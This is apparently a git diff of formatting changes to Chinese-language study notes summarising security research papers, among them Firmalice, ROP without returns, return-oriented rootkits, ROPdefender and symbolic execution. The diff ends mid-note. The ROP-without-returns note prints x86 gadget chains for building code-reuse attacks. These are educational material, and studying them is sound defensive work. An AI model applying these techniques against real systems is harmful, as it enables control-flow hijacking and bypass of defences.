general-purpose OS, with much of their functionality implemented in user-space programs. All of the OS primitives, program entry points, and library import symbols are well-defined. - Binary-blob firmware. Firmware often takes the form of a single binary image that runs directly on the bare metal of the device, without an underlying operating system. OS and library abstractions do not exist in such cases, and it is generally unknown how to properly initialize the runtime environment of the firmware sample, or at what offset to load the binary and at what address to begin execution. -#### Disassembly and Intermediate Representation +### Disassembly and Intermediate Representation + Firmalice supports a wide range of processor architectures by carrying out its analyses over an intermediate representation (IR) of binary code. -#### Base Address Determination +### Base Address Determination + Firmalice identifies the expected location of a binary-blob firmware in memory by analyzing the relationship between jump table positions and the memory access pattern of the indirect jump instructions. -#### Entry Point Discovery +### Entry Point Discovery + Firmalice attempts to automatically identify potential execution entry points: + - First, Firmalice attempts to identify functions in the binary blob. - Next, Firmalice creates a coarse directed call graph from the list of functions, and identifies all the weakly-connected components of this graph. Any root node of a weaklyconnected component is identified as a potential entry point. - ## 安全策略 + Firmalice requires a human analyst to provide a security policy. For our purposes, a security policy must specify what operations should be considered privileged. When provided a security policy, Firmalice analyzes the firmware in question to convert the policy into a set of `privileged program points`. This set of program points is then utilized by Firmalice in its analysis to identify if the execution can reach the specified program point without proper authentication. The policies that Firmalice supports: + - Static output. A security policy can be specified as a rule about some static data the program must not output to a user that has not been properly authenticated. - Firmalice searches the firmware for the static data and utilizes its data dependency graph to identify locations in the program where this data can be passed into an output routine. - Behavioral rules. Another policy that Firmalice supports is the regulation of what actions a device may take without authentication. @@ -73,48 +80,58 @@ The policies that Firmalice supports: - Firmalice identifies locations in the data dependency graph where such memory locations are accessed. - Direct privileged program point identification. The privileged program points can be specified directly as function addressed in the security policy. - ## 静态程序分析 + The identification of privileged program points specified by a security policy, and the creation of backward slices leading to them, requires the use of a program dependency graph (PDG) to reason about the control and data flow required to arrive at a specific point in the program. The program dependency graph comprises a data dependency graph (DDG) and a control dependency graph (CDG). -#### Control Flow Graph +### Control Flow Graph + The first step in creating a PDG is the creation of a CFG. Firmalice creates a context-sensitive CFG by statically analyzing the firmware, starting from each of the entry points and looking for jump edges in the graph. To increase the precision of its CFG, Firmalice utilizes `forced execution` to systematically explore both directions of every conditional branch. When it encounters a computed or indirect jump, Firmalice can leverage its symbolic execute engine to reason about the possible targets of that jump. -#### Control Dependency Graph +### Control Dependency Graph + We use a context sensitivity of 2 when generating the CDG, which allows Firmalice to reason about not only the basic block that needs to execute so that a given statement is reached, but also the call context from which that basic block must be executed. The CDG is generated via a straightforward transformation of the CFG. -#### Data Dependency Graph +### Data Dependency Graph + Firmalice adopts an existing, worklist-based, iterative approach to data flow analysis. The approach is an inter-procedural data flow analysis algorithm that uses `def-use` chains, in addition to `use-def` chains, to optimize the worklist algorithm. -#### Backward Slicing +### Backward Slicing + Using the PDG, Firmalice can compute backward slices. That is, starting from a given program point, we can produce every statement on which that point depends. - ## 符号执行引擎 + The implementation of this module of Firmalice follows ideas presented in Mayhem, adding support for symbolic summaries of functions, to automatically detect common library functions and abstract their effects on the symbolic state. -#### Symbolic State and Constraints +### Symbolic State and Constraints + Firmalice’s symbolic analysis works at the level of symbolic `states`. Whenever a path reaches the privileged program point, its associated state is labeled as a `privileged state` and passed to the Authentication Bypass Check module for further analysis, based on constraint solving. -#### Symbolic Summaries +### Symbolic Summaries + Firmalice adopts the concept of “symbolic summaries”, which involves descriptions of the transformation that certain commonly-seen functions have on a program state. A symbolic summary acts in the same way as a binary instruction: it consumes an input state and produces a set of output states. When Firmalice symbolically calls a function for the first time, the analysis is paused and the function-testing phase begins. Firmalice first attempts to run the function with the test case states. If all of the test cases of a symbolic summary pass, Firmalice replaces the entry point to the function in question with that symbolic summary, and continues its analysis. Any subsequent jumps to that address will instead trigger execution of the symbolic summary. If no symbolic summary is identified as the right summary for a function, the function is analyzed normally. -#### Lazy Initialization -Firmalice adopts a lazy approach to firmware initialization. When the execution engine encounters a memory read from uninitialized memory, it identifies other procedures that contain direct memory writes to that location, and labels them as `initialization procedures`. If an initialization procedure is identified, the state is duplicated: one state continues execution without modification, while the other one runs the initialization procedure before resuming execution. +### Lazy Initialization +Firmalice adopts a lazy approach to firmware initialization. When the execution engine encounters a memory read from uninitialized memory, it identifies other procedures that contain direct memory writes to that location, and labels them as `initialization procedures`. If an initialization procedure is identified, the state is duplicated: one state continues execution without modification, while the other one runs the initialization procedure before resuming execution. ## 认证旁路检查 + Given an `privileged state` from the Symbolic Execution engine, the Authentication Bypass Check module identifies the input and output from/to the user and reasons about the `exposure` of data represented by the output. It then attempts to uniquely concretize the user input. If the user input can be uniquely concretized, then it represents that the input required to reach the `privileged program point` can be uniquely determined by the attacker, and the associated path is labeled as an `authentication bypass`. At this point, Firmalice terminates its analysis. In cases where the user input depends on data exposed by the device’s output, a function that can generate valid inputs for a provided output is produced. -#### Choosing I/O +### Choosing I/O + What should be considered as user input to the firmware is not always obvious. Firmalice uses several heuristics to identify input and output. Alternatively, Firmalice can accept a specification of the Application Binary Interface of the firmware and use that to choose between input and output. -#### Data Exposure +### Data Exposure + The core intuition of our approach is that data seen by the user, via an output routine, is `exposed` to the attacker. Specifically, this exposure does not just reveal information about the output data: information is also revealed about any data that depends on or is related to the output. The attackers can deduce information about authentication credentials by observing program outputs. -#### Constraint Solving +### Constraint Solving + For each privileged state, Firmalice attempts to concretize the user input to determine the possible values that a user can input to successfully reach the privileged program point. A properly-authenticated path contains inputs that concretize to a large set of values. Conversely, the existence of a path for which the input concretizes into a limited set of values signifies that an attacker can determine, using a combination of information within the firmware image and information that is revealed to them via device output, an input that allows them to authenticate. diff --git a/doc/8.28_cross_arch_bug.md b/doc/8.28_cross_arch_bug.md index fb7def3..19e9a47 100644 --- a/doc/8.28_cross_arch_bug.md +++ b/doc/8.28_cross_arch_bug.md @@ -1,12 +1,11 @@ # 8.28 Cross-Architecture Bug Search in Binary Executables - [paper](https://christian-rossow.de/publications/crossarch-ieee2015.pdf) [video](https://www.youtube.com/watch?v=1LELf0Ml1-w) ## 简介 -这篇文章提出了一个系统来导出已知漏洞的漏洞签名(bug signatures),然后可以利用这些签名来查找不同 CPU 架构(x86、ARM和MIPS)上的其他二进制文件中的漏洞。 +这篇文章提出了一个系统来导出已知漏洞的漏洞签名(bug signatures),然后可以利用这些签名来查找不同 CPU 架构(x86、ARM和MIPS)上的其他二进制文件中的漏洞。 ## 方法 diff --git a/doc/8.29_dynamic_hooks.md b/doc/8.29_dynamic_hooks.md index b5b5b2d..4e38079 100644 --- a/doc/8.29_dynamic_hooks.md +++ b/doc/8.29_dynamic_hooks.md @@ -1,6 +1,5 @@ # 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data - [paper](https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-vogl.pdf) ## 简介 diff --git a/doc/8.2_rop_without_ret.md b/doc/8.2_rop_without_ret.md index ba9c490..78bd207 100644 --- a/doc/8.2_rop_without_ret.md +++ b/doc/8.2_rop_without_ret.md @@ -1,39 +1,44 @@ # 8.2 Return-Oriented Programming without Returns - [paper](https://www2.cs.uic.edu/~s/papers/noret_ccs2010/noret_ccs2010.pdf) ## 简介 + 论文提出了一种不依赖于使用 return 指令的 ROP 技术。这种攻击方法是在 libc 中找到一些特定的指令序列,来替代 return 指令,完成和 return 同样的工作。这些指令具备图灵完备性,已经在 (x86)Linux 和 (ARM)Android 中被证实。 由于该攻击方法并不使用 return 指令,所以那些基于 return 原理实现的 ROP 防御技术就失效了。 - ## 背景 + 正常程序的指令流执行和 ROP 的指令流执行有很大不同,至少存在下面两点: + - ROP 执行流会包含了很多 return 指令,而且这些 return 指令只间隔了几条其他指令 - ROP 利用 return 指令来 unwind 堆栈,却没有与 `ret` 指令相对应的 `call` 指令 针对上面两点不同,研究人员提出了很多 ROP 检测和防御技术: + - 针对第一点不同,可以检测程序执行中是否有频繁 return 的指令流,作为报警的依据 - 针对第二点不同,可以通过 call 和 return 指令来查找正常程序中通常都存在的后进先出栈里维护的不变量,判断其是否异常。或者维护一个影子堆栈(shadow stack)作为正常堆栈的备份,每次 return 时对比影子堆栈和正常堆栈是否一致。 - 还有更极端的,在编译器层面重写二进制文件,消除里面的 return 指令 所以其实这些早期的防御技术都默认了一个前提,即 ROP 中必定存在 return 指令。所以反过来想,如果攻击者能够找到既不使用 return 指令,又能改变执行流执行任意代码的 ROP 链,那么就成功绕过了这些防御。 - ## ROP Without Returns + 于是不依赖于 return 指令的 ROP 技术诞生了。 我们知道 return 指令的作用主要有两个:一个是通过间接跳转改变执行流,另一个是更新寄存器状态。在 x86 和 ARM 中都存在一些指令序列,也能够完成这些工作,它们首先更新全局状态(如栈指针),然后根据更新后的状态加载下一条指令序列的地址,最后跳转过去执行(把它们叫做 update-load-branch 指令序列)。使用这些指令序列完全可以避免 return 指令的使用。 就像下面这样,`x` 代表任意的通用寄存器: -``` + +```text pop x jmp *x ``` + `r6` 通用寄存器里是更新后的状态: -``` + +```text adds r6, #4 ldr r5, [r6, #124] blx r5 @@ -43,57 +48,68 @@ blx r5 跳转攻击流程的原理如下图所示: -![](../pic/8.2_rop_without_ret.png) +![img](../pic/8.2_rop_without_ret.png) 在 x86 上,我们使用一个寄存器 y 保存 trampoline 的地址,那么以间接跳转到 y 结束的指令序列的行为就像是以一个 update-load-branch 指令结束一样。并形成像 ROP 链一样的东西。这种操作在 ARM 上也是类似的。 - ## x86 上的具体实现 + x86 上的 return 指令有如下效果: + 1. 检索堆栈顶部的 4 个字节,用它设置指令指针 eip 2. 将堆栈指针 esp 值增加 4 传统的 ROP 就是依靠这个操作将布置到栈上的指令片段地址串起来,依次执行。 现在我们考虑下面的指令序列: -``` + +```text pop %eax; jmp *%eax ``` + 它的行为和 return 很像,唯一的副作用是覆盖了 eax 寄存器的内容。现在假设程序的执行不依赖于 eax 寄存器,那么这一段指令序列就完全可以取代 return,这一假设正是本论文的关键。 首先,我们当然可以把 eax 换成其它任意一个通用寄存器。其次,比起单间接跳转,我们通常使用双重间接跳转: -``` + +```text pop %eax; jmp *(%eax) ``` + 此时 eax 寄存器存放的是一个被叫做 sequence catalog 表中的地址,该表用于存放各种指令序列的地址,也就是类似于 GOT 表的东西。第一次跳转,是从上一段指令序列跳到 catalog 表,第二次跳转,则从 catalog 表跳转到下一段指令序列。这样做使得 ROP 链的构造更加便捷,甚至可以根据某指令序列相对表的偏移来实现跳转。 下图是一个函数调用的示例: -![](../pic/8.2_function.png) +![img](../pic/8.2_function.png) 通过 gadget 来实现函数调用一方面可以调用正常的返回导向指令序列,另一方面可以调用合法的函数(需要移动栈指针以及处理返回值)。在函数调用之前,栈指针应该被移动到一个新的位置,以防改写栈上的其他 gadget。如果函数执行时栈指针位于位置 n,那么 k 个参数应该被保存在 n+4, n+8, ... , n+4k。然后函数调用 gadget 从而调用函数 A -> fun(arg1, arg2, ..., argn)。 -1. 装载寄存器 esi, ebp 和 eax。 +1.装载寄存器 esi, ebp 和 eax。 - 将 catalog 中 call-jump 序列的地址装入 esi 寄存器: -``` + +```text pop %esi; or $0xf3, %al; jmp *(%edx); # call-jump 序列: call *-0x56000A00(%ecx); add %bh, %bl; inc %ebc; add %bj, %dh; jmp *%edi; ``` + - 将 catalog 中 leave-jump 序列的地址装入 ebp 寄存器: -``` + +```text pop %ebp; or $0xf3, %al; jmp *(%edx); # leave-jump 序列:leave; sar %cl, %bl; jmp *-0x7d(%ebp); ``` + - 将值 0xb+n 装入 eax 寄存器: -``` + +```text pop %eax; sub %dh, %bl; jmp *(%edx); ``` -2. call-jump 序列的地址位于地址 n,将值 0x38 装入寄存器 esi,并加上栈指针的值。此时 esi 保存了一个地址,在函数调用返回时会将栈指针设置为该地址。 -``` +2.call-jump 序列的地址位于地址 n,将值 0x38 装入寄存器 esi,并加上栈指针的值。此时 esi 保存了一个地址,在函数调用返回时会将栈指针设置为该地址。 + +```text mov %esi, -0xB(%eax); jmp *(%edx); pop %esi; or $0xf3, %al; jmp *(%edx); @@ -101,28 +117,35 @@ pop %esi; or $0xf3, %al; jmp *(%edx); add %esp, %esi; jmp *(%edx); ``` -3. 将函数返回时栈指针的值赋值给 ebp。 +3.将函数返回时栈指针的值赋值给 ebp。 - 先将函数返回的栈指针保存到 esi 指向的内存中: -``` + +```text pop %eax; sub %dh, %bl; jmp *(%edx); mov %esi, -0xB(%eax); jmp *(%edx); ``` + - 将上一步存放的栈指针取出来放入 edi 寄存器: -``` + +```text pop %eax; sub %dh, %bl; jmp *(%edx); mov -0xD(%eax), %edi; jmp *(%edx); ``` + - 通过 xchg 交换 edi 和 ebp: -``` + +```text xchg %ebp, %edi; jmp *(%edx); ``` + 此时,edi 中保存 leave-jump 序列的地址,ebp 保存函数返回后的栈指针地址。 -4. 将 `pop %ebx; jmp *(%ebx);` 序列的地址装入 esi,保存函数地址的指针(加上偏移量)装入 ecx,将值 n 装入 eax。交换 esp 和 eax 的值,使得栈指针被设置为 n。 -``` +4.将 `pop %ebx; jmp *(%ebx);` 序列的地址装入 esi,保存函数地址的指针(加上偏移量)装入 ecx,将值 n 装入 eax。交换 esp 和 eax 的值,使得栈指针被设置为 n。 + +```text pop %esi; or $0xf3, %al; jmp *(%edx); pop %ecx; cmp %dh, %dh; jmp *(%edx); @@ -132,18 +155,21 @@ pop %eax; sub %dh, %bl; jmp *(%edx); xchg %esp, %eax; dec %ebx; std; jmp *0(%esi); ``` -5. 由于 n 保存了 call-jump 序列的地址,此时 call-jump 序列被调用,即函数被间接调用。函数返回后,eax 保存了返回值。由于 edi 保存了 leave-jump 序列的地址,因此 leave-jump 序列被调用,将 ebp 赋值给 esp,并从栈顶 pop 出新的 ebp: -``` +5.由于 n 保存了 call-jump 序列的地址,此时 call-jump 序列被调用,即函数被间接调用。函数返回后,eax 保存了返回值。由于 edi 保存了 leave-jump 序列的地址,因此 leave-jump 序列被调用,将 ebp 赋值给 esp,并从栈顶 pop 出新的 ebp: + +```text pop %ebx; jmp *(%ebx); call *-0x56000A00(%ecx); add %bh, %bl; inc %ebc; add %bj, %dh; jmp *%edi; leave; sar %cl, %bl; jmp *-0x7d(%ebp); ``` + 此时 ebp 指向 `pop %ebx; jmp *(%ebx);`,然后 jmp 过去。 -6. 将 eax 里的返回值保存到内存: -``` +6.将 eax 里的返回值保存到内存: + +```text pop %ebx; jmp *(%ebx); pop %edx; jmp *(%edx); diff --git a/doc/8.30_prevent_brute_force_canary.md b/doc/8.30_prevent_brute_force_canary.md index 8c317aa..62c28e3 100644 --- a/doc/8.30_prevent_brute_force_canary.md +++ b/doc/8.30_prevent_brute_force_canary.md @@ -1,6 +1,5 @@ # 8.30 Preventing brute force attacks against stack canary protection on networking servers - [paper](http://hmarco.org/data/Preventing_brute_force_attacks_against_stack_canary_protection_on_networking_servers.pdf) ## 简介 diff --git a/doc/8.31_wysinwyx.md b/doc/8.31_wysinwyx.md index ff8c396..cc6733b 100644 --- a/doc/8.31_wysinwyx.md +++ b/doc/8.31_wysinwyx.md @@ -1,6 +1,5 @@ # 8.31 WYSINWYX What You See Is Not What You eXecute - [paper](http://research.cs.wisc.edu/wpis/papers/wysinwyx.final.pdf) ## 简介 diff --git a/doc/8.32_mayhem.md b/doc/8.32_mayhem.md index e8c2215..490fde7 100644 --- a/doc/8.32_mayhem.md +++ b/doc/8.32_mayhem.md @@ -1,6 +1,5 @@ # 8.32 Unleashing MAYHEM on Binary Code - [paper](http://www.cse.psu.edu/~trj1/cse597-s13/docs/binary_mayhem_oakland_12.pdf) ## 简介 diff --git a/doc/8.33_ucklee.md b/doc/8.33_ucklee.md index fff015e..70793ed 100644 --- a/doc/8.33_ucklee.md +++ b/doc/8.33_ucklee.md @@ -1,6 +1,5 @@ # 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code - [paper](https://cseweb.ucsd.edu/~dstefan/cse291-winter18/papers/ucklee.pdf) ## 简介 diff --git a/doc/8.34_veritesting.md b/doc/8.34_veritesting.md index dc2729a..47bc9d3 100644 --- a/doc/8.34_veritesting.md +++ b/doc/8.34_veritesting.md @@ -1,6 +1,5 @@ # 8.34 Enhancing Symbolic Execution with Veritesting - [paper](https://users.ece.cmu.edu/~aavgerin/papers/veritesting-icse-2014.pdf) ## 简介 diff --git a/doc/8.35_q.md b/doc/8.35_q.md index 2ab910d..f291b8d 100644 --- a/doc/8.35_q.md +++ b/doc/8.35_q.md @@ -1,6 +1,5 @@ # 8.35 Q: Exploit Hardening Made Easy - [paper](http://static.usenix.org/legacy/events/sec11/tech/full_papers/Schwartz.pdf) ## 简介 diff --git a/doc/8.36_survey_symbolic_execution.md b/doc/8.36_survey_symbolic_execution.md index c53944f..4845092 100644 --- a/doc/8.36_survey_symbolic_execution.md +++ b/doc/8.36_survey_symbolic_execution.md @@ -1,6 +1,5 @@ # 8.36 A Survey of Symbolic Execution Techniques - [paper](http://season-lab.github.io/papers/survey-symbolic-execution-preprint-CSUR18.pdf) ## 简介 diff --git a/doc/8.37_cute.md b/doc/8.37_cute.md index f06eb67..9d28823 100644 --- a/doc/8.37_cute.md +++ b/doc/8.37_cute.md @@ -1,6 +1,5 @@ # 8.37 CUTE: A Concolic Unit Testing Engine for C - [paper](http://mir.cs.illinois.edu/marinov/publications/SenETAL05CUTE.pdf) ## 简介 diff --git a/doc/8.38_tainteraser.md b/doc/8.38_tainteraser.md index 2e8a99d..4ac0506 100644 --- a/doc/8.38_tainteraser.md +++ b/doc/8.38_tainteraser.md @@ -1,6 +1,5 @@ # 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking - [paper](http://people.eecs.berkeley.edu/~dawnsong/papers/2011%20tainteraser%20p142-zhu.pdf) ## 简介 diff --git a/doc/8.39_dart.md b/doc/8.39_dart.md index 4e49523..1c382c3 100644 --- a/doc/8.39_dart.md +++ b/doc/8.39_dart.md @@ -1,6 +1,5 @@ # 8.39 DART: Directed Automated Random Testing - [paper](https://web.eecs.umich.edu/~weimerw/2011-6610/reading/p213-godefroid.pdf) ## 简介 diff --git a/doc/8.3_rop_rootkits.md b/doc/8.3_rop_rootkits.md index a7dc649..a5a2ced 100644 --- a/doc/8.3_rop_rootkits.md +++ b/doc/8.3_rop_rootkits.md @@ -1,33 +1,35 @@ # 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms - [paper](https://www.usenix.org/legacy/event/sec09/tech/full_papers/hund.pdf) ## 简介 + 本论文设计并实现了一个能够自动化构建 ROP 指令序列的攻击系统。由于系统使用的指令序列来自内核已有的代码,而不需要进行代码注入,所以能够绕过内核代码完整性保护机制。 - ## 内核完整性保护机制 -#### 内核模块签名 + +### 内核模块签名 + 这一机制要求所有内核模块都需要经过数字签名的验证,并拒绝加载验证失败的代码,所以它的有效性在模块加载时体现,可以一定程度上防御代码注入攻击。但这种方法并不能保证已有的内核代码中没有可以利用的漏洞或指令序列。 -#### W⊕X +### W⊕X + 这一机制通过对内存进行可读或可写的标记,能够在运行时防御代码注入攻击。这种机制对于内核的有效性在于,它假设了攻击者会对内核空间的代码进行修改和执行,然而在实践中,攻击者往往先获得用户空间的权限,然后修改虚拟地址中用户空间部分的页面权限。由于页表的不可执行位标记不够精细,所以不可能仅在用户模式下就将页面标记为可执行。于是攻击者可以在用户空间准备好自己的指令,然后让漏洞代码跳转到那里执行。 - ## 自动化 ROP + 基于 ROP 技术,就可以绕过上面的内核完整性保护机制。 内核 ROP 如下图所示: -![](../pic/8.3_rop.png) - +![img](../pic/8.3_rop.png) 自动化攻击系统的结构如下图所示: -![](../pic/8.3_overview.png) +![img](../pic/8.3_overview.png) 其中的三个核心组成部分: + - Constructor:扫描给定的二进制文件,标记出有用的指令序列,并自动构建出 gadgets - Compiler:提供了一种专门用于 ROP 的语言,它将 Constructor 的输出和用该语言编写的源文件一起编译,生成程序的最终内存映像 - Loader:由于 Compiler 的输出是位置无关的,Loader 用于将相对地址解析为绝对地址 diff --git a/doc/8.40_exe.md b/doc/8.40_exe.md index 19b5d51..5ddc8c7 100644 --- a/doc/8.40_exe.md +++ b/doc/8.40_exe.md @@ -1,6 +1,5 @@ # 8.40 EXE: Automatically Generating Inputs of Death - [paper](https://web.stanford.edu/~engler/exe-ccs-06.pdf) ## 简介 diff --git a/doc/8.41_intpatch.md b/doc/8.41_intpatch.md index 7e76ede..7ac8712 100644 --- a/doc/8.41_intpatch.md +++ b/doc/8.41_intpatch.md @@ -1,6 +1,5 @@ # 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time - [paper](https://llvm.org/pubs/2010-09-ESORICS-FixOverflows.pdf) ## 简介 diff --git a/doc/8.42_taintcheck.md b/doc/8.42_taintcheck.md index 5e6b1ef..3769004 100644 --- a/doc/8.42_taintcheck.md +++ b/doc/8.42_taintcheck.md @@ -1,6 +1,5 @@ # 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software - [paper](http://valgrind.org/docs/newsome2005.pdf) ## 简介 diff --git a/doc/8.43_dta++.md b/doc/8.43_dta++.md index 45958b3..f16a8fc 100644 --- a/doc/8.43_dta++.md +++ b/doc/8.43_dta++.md @@ -1,6 +1,5 @@ # 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation - [paper](http://bitblaze.cs.berkeley.edu/papers/dta%2B%2B-ndss11.pdf) ## 简介 diff --git a/doc/8.44_multiverse.md b/doc/8.44_multiverse.md index 68cbcda..2f0d289 100644 --- a/doc/8.44_multiverse.md +++ b/doc/8.44_multiverse.md @@ -1,6 +1,5 @@ # 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics - [paper](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2018/02/ndss2018_05A-4_Bauman_paper.pdf) ## 简介 diff --git a/doc/8.45_ramblr.md b/doc/8.45_ramblr.md index 72baaeb..80801a5 100644 --- a/doc/8.45_ramblr.md +++ b/doc/8.45_ramblr.md @@ -1,12 +1,11 @@ # 8.45 Ramblr: Making Reassembly Great Again - [paper](https://www.cs.ucsb.edu/~vigna/publications/2017_NDSS_Ramblr.pdf) [slides](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2017/09/ndss2017_10-5-wang_slides.pdf) [video](https://www.youtube.com/watch?v=_BIamPJE8EQ) ## 简介 + 静态二进制重写在逆向工程中有许多重要的应用,例如补丁、代码重用和插桩。Reassembly 就是静态二进制重写的一种有效方法(Reassembly is the process of assembling a set of instructions obtained through *disassembly* and which were certainly patched or modified)。 本文提出了一种新的 binary reassembling 的方法,并实现了工具 Ramblr。该方法首先将原始的二进制文件反汇编,正确识别符号和预期的跳转目标,插入必要的补丁,然后将程序集重新组装到修补后的二进制文件中。 - diff --git a/doc/8.46_freeguard.md b/doc/8.46_freeguard.md index d6b595a..70d1c41 100644 --- a/doc/8.46_freeguard.md +++ b/doc/8.46_freeguard.md @@ -1,6 +1,5 @@ # 8.46 FreeGuard: A Faster Secure Heap Allocator - [paper](http://web.cse.ohio-state.edu/~lin.3021/file/CCS17c.pdf) [slides](https://www.utdallas.edu/~zxl111930/file/CCS17c.pptx) [video](https://www.youtube.com/watch?v=fR9Dyzl7Rhw) diff --git a/doc/8.47_jop.md b/doc/8.47_jop.md index ef8f18e..f2c3abd 100644 --- a/doc/8.47_jop.md +++ b/doc/8.47_jop.md @@ -1,6 +1,5 @@ # 8.47 Jump-Oriented Programming: A New Class of Code-Reuse Attack - [paper](https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf) ## 简介 diff --git a/doc/8.48_uroboros.md b/doc/8.48_uroboros.md index 20447aa..b8c36a1 100644 --- a/doc/8.48_uroboros.md +++ b/doc/8.48_uroboros.md @@ -1,6 +1,5 @@ # 8.48 Reassembleable Disassembling - [paper](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-wang-shuai.pdf) [slides](https://os.inf.tu-dresden.de/Studium/ReadingGroupArchive/slides/2015/20151203-bierbaum-uroboros.pdf) [video](https://www.usenix.org/node/190921) diff --git a/doc/8.49_ioc.md b/doc/8.49_ioc.md index 922359a..3a09411 100644 --- a/doc/8.49_ioc.md +++ b/doc/8.49_ioc.md @@ -1,4 +1,3 @@ # 8.49 Understanding Integer Overflow in C/C++ - ## 简介 diff --git a/doc/8.4_ropdefender.md b/doc/8.4_ropdefender.md index 7bb8278..b005601 100644 --- a/doc/8.4_ropdefender.md +++ b/doc/8.4_ropdefender.md @@ -1,15 +1,15 @@ # 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks - [paper](https://www.ei.ruhr-uni-bochum.de/media/trust/veroeffentlichungen/2010/12/14/HGI-TR-2010-001.pdf) ## 简介 + 论文设计并实现了工具 ROPdefender,可以动态地检测传统的 ROP 攻击(基于return指令)。ROPdefender 可以由用户来执行,而不依赖于源码、调试信息等在现实中很难获得的信息。 ROPdefender 基于二进制插桩框架 Pin 实现,作为一个 Pintool 使用,在运行时强制进行返回地址检查。 - ## 背景 + 现有的 ROP 检测方法会维护一个 shadow stack,作为返回地址的备份。当函数返回时,检查返回地址是否被修改。 这种方法有个明显的缺陷,它只能检测预期的返回(intended return),而对于非预期的返回(unintended return)无效。 @@ -17,12 +17,15 @@ ROPdefender 基于二进制插桩框架 Pin 实现,作为一个 Pintool 使用 intended instruction 是程序中明确存在的指令。而 unintended instruction 是正常指令通过偏移得到的指令。举个例子: intended instruction: -``` + +```text b8 13 00 00 00 mov $0x13, %eax e9 c3 f8 ff ff jmp 3aae9 ``` + 偏移两个十六进制后的 unintended instruction: -``` + +```text 00 00 add %al, (%eax) 00 e9 add %ch, %cl c3 ret @@ -32,27 +35,29 @@ c3 ret 另外,如果攻击者修改的不是返回地址,而是函数的 GOT 表,则同样不会被检测到。 - ## 解决方案 + ROPdefender 同样也使用 shadow stack 来储存每次函数调用的返回地址。在每次函数返回时进行返回地址检查。 与现有方法不同的是: + - ROPdefender 会检查传递给处理器的每个返回指令(基于JIT插桩工具),这样即使攻击者使用 unintended instruction 也会被检测到 - ROPdefender 还能处理各种特殊的情况 整体思想如下图所示: -![](../pic/8.4_approach.png) +![img](../pic/8.4_approach.png) 在处理器执行指令时,对指令类别进行判断,如果是 call,将返回地址放进 shadow stack;如果是 return,则检查与 shadow stack 顶部的返回地址是否相同。这一方法不仅可用于检测 ROP 攻击,还可以检测所有利用缓冲区溢出改写返回地址的攻击。 - ## 实现细节 + 基于 Pin 动态二进制插桩(DBI)框架的实现如下图所示: -![](../pic/8.4_implementation.png) +![img](../pic/8.4_implementation.png) 一般工作流程是这样的,程序在 DBI 框架下加载并启动。DBI 框架确保: + 1. 程序的每条指令都在 DBI 的控制下执行 2. 所有指令都根据 ROPdefender 特定的检测代码执行,然后进行返回地址检查 diff --git a/doc/8.5_dop.md b/doc/8.5_dop.md index 8d94772..3ce8d56 100644 --- a/doc/8.5_dop.md +++ b/doc/8.5_dop.md @@ -1,6 +1,5 @@ # 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks - [paper](https://www.comp.nus.edu.sg/~shweta24/publications/dop_oakland16.pdf) ## 简介 diff --git a/doc/8.6_brop.md b/doc/8.6_brop.md index e970120..8a866ea 100644 --- a/doc/8.6_brop.md +++ b/doc/8.6_brop.md @@ -1,6 +1,5 @@ # 8.6 Hacking Blind - [paper](http://www.scs.stanford.edu/~sorbo/brop/bittau-brop.pdf) ## 简介 diff --git a/doc/8.7_jit-rop_defenses.md b/doc/8.7_jit-rop_defenses.md index f9be08e..11ec5a7 100644 --- a/doc/8.7_jit-rop_defenses.md +++ b/doc/8.7_jit-rop_defenses.md @@ -1,6 +1,5 @@ # 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses - [paper](https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_maisuradze.pdf) ## 简介 diff --git a/doc/8.8_dta_and_fse.md b/doc/8.8_dta_and_fse.md index 386ce4d..c3ea716 100644 --- a/doc/8.8_dta_and_fse.md +++ b/doc/8.8_dta_and_fse.md @@ -1,6 +1,5 @@ # 8.8 All You Ever Wanted to Know About Dynamic Taint Analysis and Forward Symbolic Execution (but might have been afraid to ask) - [paper](https://users.ece.cmu.edu/~aavgerin/papers/Oakland10.pdf) ## 简介 diff --git a/doc/8.9_symbolic_execution.md b/doc/8.9_symbolic_execution.md index 1af8a3e..8838ba3 100644 --- a/doc/8.9_symbolic_execution.md +++ b/doc/8.9_symbolic_execution.md @@ -1,18 +1,18 @@ # 8.9 Symbolic Execution for Software Testing: Three Decades Later - [paper](https://people.eecs.berkeley.edu/~ksen/papers/cacm13.pdf) ## 简介 + 近几年符号执行因其在生成高覆盖率的测试用例和发现复杂软件漏洞的有效性再次受人关注。这篇文章对现代符号执行技术进行了概述,讨论了这些技术在路径探索,约束求解和内存建模方面面临的主要挑战,并讨论了几个主要从作者自己的工作中获得的解决方案。 这算是一篇很经典很重要的论文了。 - ## 传统符号执行 + 符号执行的关键是使用符号值替代具体的值作为输入,并将程序变量的值表示为符号输入值的符号表达式。其结果是程序计算的输出值被表示为符号输入值的函数。一个符号执行的路径就是一个 true 和 false 组成的序列,其中第 i 个 true(或false)表示在该路径的执行中遇到的第 i 个条件语句,并且走的是 then(或else) 这个分支。一个程序所有的执行路径可以用执行树(Execution Tree)来表示。举一个例子: -![](../pic/8.9_tree.png) +![img](../pic/8.9_tree.png) 函数 testme() 有 3 条执行路径,组成右边的执行树。只需要针对路径给出输入,即可遍历这 3 条路径,例如:{x = 0, y = 1}、{x = 2, y = 1} 和 {x = 30, y = 15}。符号执行的目标就是去生成这样的输入集合,在给定的时间内遍历所有的路径。 @@ -26,49 +26,54 @@ 如果符号执行的代码包含循环或递归,且它们的终止条件是符号化的,那么可能就会导致产生无数条路径。举个例子: 